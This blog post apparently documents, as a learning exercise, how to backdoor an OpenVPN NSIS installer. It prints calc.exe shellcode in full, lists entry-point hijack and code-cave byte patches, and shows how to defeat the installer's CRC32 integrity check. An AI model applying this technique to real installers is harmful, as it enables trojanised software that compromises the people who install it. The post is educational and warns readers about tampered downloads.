Backdooring NSIS based installer: A Cautionary Tale

Understandably, this post does not follow the theme of malware analysis of this blog. However, it would be fair to add some range to the topics here. This post came about as I was trying to learn some backdooring techniques. Since, I recently installed OpenVPN client on one of my computers I decided to backdoor the installer (b04c1b28baac54b415cb88635b4dc815).

Note that I am backdooring it just for the sake of learning and not for malicious use, hence I will just try to execute calc.exe by hijacking the normal flow of this installer.

Initially, I tried to add a code cave by adding a new section to the PE file, but then I figured out that since this is an NSIS installer it contains some overlay. Thus adding a section at the end will not work for us as there is already some data there.

So I settled on using an existing code cave. These are the steps I followed to backdoor this PE:

  1. Write the shellcode
  2. Find a code cave big enough for the shellcode
  3. Hijack the entrypoint and jump to the code cave
  4. Save the current state of the registers and flags
  5. Make a note of the stack pointer
  6. Paste the shellcode after #4
  7. Restore the stack pointer using #5
  8. Restore the registers and flags
  9. Execute the instructions that were overwritten during #3
  10. Jump to continue the normal execution of the PE
Backdooring Process

1. Write the shellcode

There are various tools available publicly that can help generate the shellcodes like this. msfvenom is one of them. One can do a lot using msfvenom e.g., combine shellcodes, generate reverse shell, launch an executable etc. Unfortunately, my Kali VM crashed while I was preparing to write this post and hence ended up re-purposing code from this git repository as I did not want to spend time writing it myself.

This is the final shellcode I used.

;Shellcode (73 bytes)
0042E27B      31D2          XOR EDX,EDX
0042E27D      52            PUSH EDX
0042E27E      68 63616C63   PUSH 636C6163
0042E283      54            PUSH ESP
0042E284      59            POP ECX
0042E285      52            PUSH EDX
0042E286      51            PUSH ECX
0042E287      64:8B72 30    MOV ESI,DWORD PTR FS:[EDX+30]
0042E28B      8B76 0C       MOV ESI,DWORD PTR DS:[ESI+0C]
0042E28E      8B76 0C       MOV ESI,DWORD PTR DS:[ESI+0C]
0042E291      AD            LODS DWORD PTR DS:[ESI]
0042E292      8B30          MOV ESI,DWORD PTR DS:[EAX]
0042E294      8B7E 18       MOV EDI,DWORD PTR DS:[ESI+18]
0042E297      8B5F 3C       MOV EBX,DWORD PTR DS:[EDI+3C]
0042E29A      8B5C1F 78     MOV EBX,DWORD PTR DS:[EBX+EDI+78]
0042E29E      8B741F 20     MOV ESI,DWORD PTR DS:[EBX+EDI+20]
0042E2A2      01FE          ADD ESI,EDI
0042E2A4      8B541F 24     MOV EDX,DWORD PTR DS:[EBX+EDI+24]
0042E2A8      0FB72C17      MOVZX EBP,WORD PTR DS:[EDX+EDI]
0042E2AC      42            INC EDX
0042E2AD      42            INC EDX
0042E2AE      AD            LODS DWORD PTR DS:[ESI]
0042E2AF      813C07 57696E CMP DWORD PTR DS:[EAX+EDI],456E6957
0042E2B6    ^ 75 F0         JNE SHORT 0042E2A8
0042E2B8      8B741F 1C     MOV ESI,DWORD PTR DS:[EBX+EDI+1C]
0042E2BC      01FE          ADD ESI,EDI
0042E2BE      033CAE        ADD EDI,DWORD PTR DS:[EBP*4+ESI]
0042E2C1      FFD7          CALL EDI
0042E2C3      58            POP EAX
0042E2C4      58            POP EAX

All this is doing is using PEB to find kernel32 module and then using it’s export table to find WinExec so that we can run calc.exe. I have already covered a similar method in my previous post about API resolution.

2. Finding code cave

Now that we know this shellcode is 73 bytes, assuming we have to do the execution hijacking let’s approximate the total size of the required code cave to be 100 bytes. I used Cminer to find the code caves.

4 code caves found

Luckily, all the code caves are big enough to accomodate our shellcode and other instructions. I still chose the largest one at 0x42e27b.

3. Hijacking execution TO jump to the code cave

Hijacking the entrypoint requires rewriting the first few instructions with a jump. In order to preserve the original instructions we will keep them somewhere and then paste them at the end of the shellcode. Entry point of this executable is at 0x00404375.

first 4 instructions to be edited

Since my jump instruction to the code cave was 5 bytes I rewrite the above to avoid having to add NOPs.

jump to code cave
edited bytes (in red) to jump to code cave

4. Save the current state of the registers and flags

Once we jump to the beginning of the code cave at 0x42e27b we need to restore the registers and flags so that we can get back to the state after shellcode execution is complete.

We will add 60 9C before shellcode which translates to instructions PUSHAD PUSHFD.

5. Make a note of the stack pointer

We will just keep in mind the address of the stack pointer to align it back once shellcode executes.

6. Shellcode

Now time for the star of the show. We will paste the below shellcode after the PUSHFD instruction.

31 D2 52 68 63 61 6C 63 54 59 52 51 64 8B 72 30 8B 76 0C 8B 76 0C AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 54 1F 24 0F B7 2C 17 42 42 AD 81 3C 07 57 69 6E 45 75 F0 8B 74 1F 1C 01 FE 03 3C AE FF D7 58 58

7. Restore the stack pointer

Since the shellcode executes clean and stack is back to the same address we do not have to align esp in this case. Otherwise one would have to ADD to esp to get back to the same address.

8. Restore the registers and flags

Restore the registers and the flags with 9D 61.

9. Execute the overwritten instructions

Then paste the remaining instructions that were overwritten by a jump to the code cave at the entrypoint.

 55 89 E5 57 56 

10. continue the normal execution of the PE

Jump back to the next instruction at the entrypoint to resume the normal code flow of this installer.

E9 A7 60 FD FF
final code cave

Hence we end up with this final code that will hijack the flow and execute the shellcode.

Note: I used OllyDbg for debugging and demonstrative purposes only. I actually used 010 Editor for modifying the file since OllyDump will only dump the executable and not the overlay.

Triggering the shellcode

Now let’s run the edited file. We can see that the executable runs and launches calculator, but it throws an error due to the checksum validation failure. Since we made changes to the PE this was bound to happen.

Let’s try to reverse engineer this.

0x00403F03 is doing this check. It reads the bytes from the file and runs it iteratively through the CRC (CRC32) function at 0x00408898.

This is the part where the file pointer is set to read the checksum.

.text:0040412D loc_40412D:                             ; CODE XREF: sub_403F03+1D3↑j
.text:0040412D                 cmp     [ebp+var_13C], 0
.text:00404134                 lea     edi, [ebp+FileName]
.text:0040413A                 jz      short loc_404172
.text:0040413C                 mov     eax, ds:nNumber
.text:00404141                 mov     [esp+168h+hModule], eax ; LONG
.text:00404144                 call    SetFilePointerCall
.text:00404149                 push    eax
.text:0040414A                 mov     [esp+168h+lpFilename], 4 ; DWORD
.text:00404152                 mov     [esp+168h+hModule], edi ; LPVOID
.text:00404155                 call    ReadSelfFile
.text:0040415A                 test    eax, eax
.text:0040415C                 push    edx
.text:0040415D                 push    edx
.text:0040415E                 jz      short loc_404168
.text:00404160                 cmp     esi, dword ptr [ebp+FileName]
.text:00404166                 jz      short loc_404172
.text:00404168
.text:00404168 loc_404168:                             ; CODE XREF: sub_403F03+10F↑j

Function at 0x00403B31 will set the file pointer to 3CB282 which reads the bytes 1AAD0802 and compares against the calculted CRC.

F607850F – CRC; 1AAD0802 – CRC bytes in file

After the final iteration of CRC it is compared against the read value.

.text:00404160 cmp esi, dword ptr [ebp+FileName]
.text:00404166 jz short loc_404172

If checksum fails the below code path is taken.

Once we modify the CRC bytes to 0F 85 07 F6 from 02 08 AD 1A we are able to trigger the calc.exe application with successful installer execution.

CRC
edited CRC of the modified file
Success!

Moral of the story, “always download your installers from a legitimate source as there is much worse that can done by tampering with them.”

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s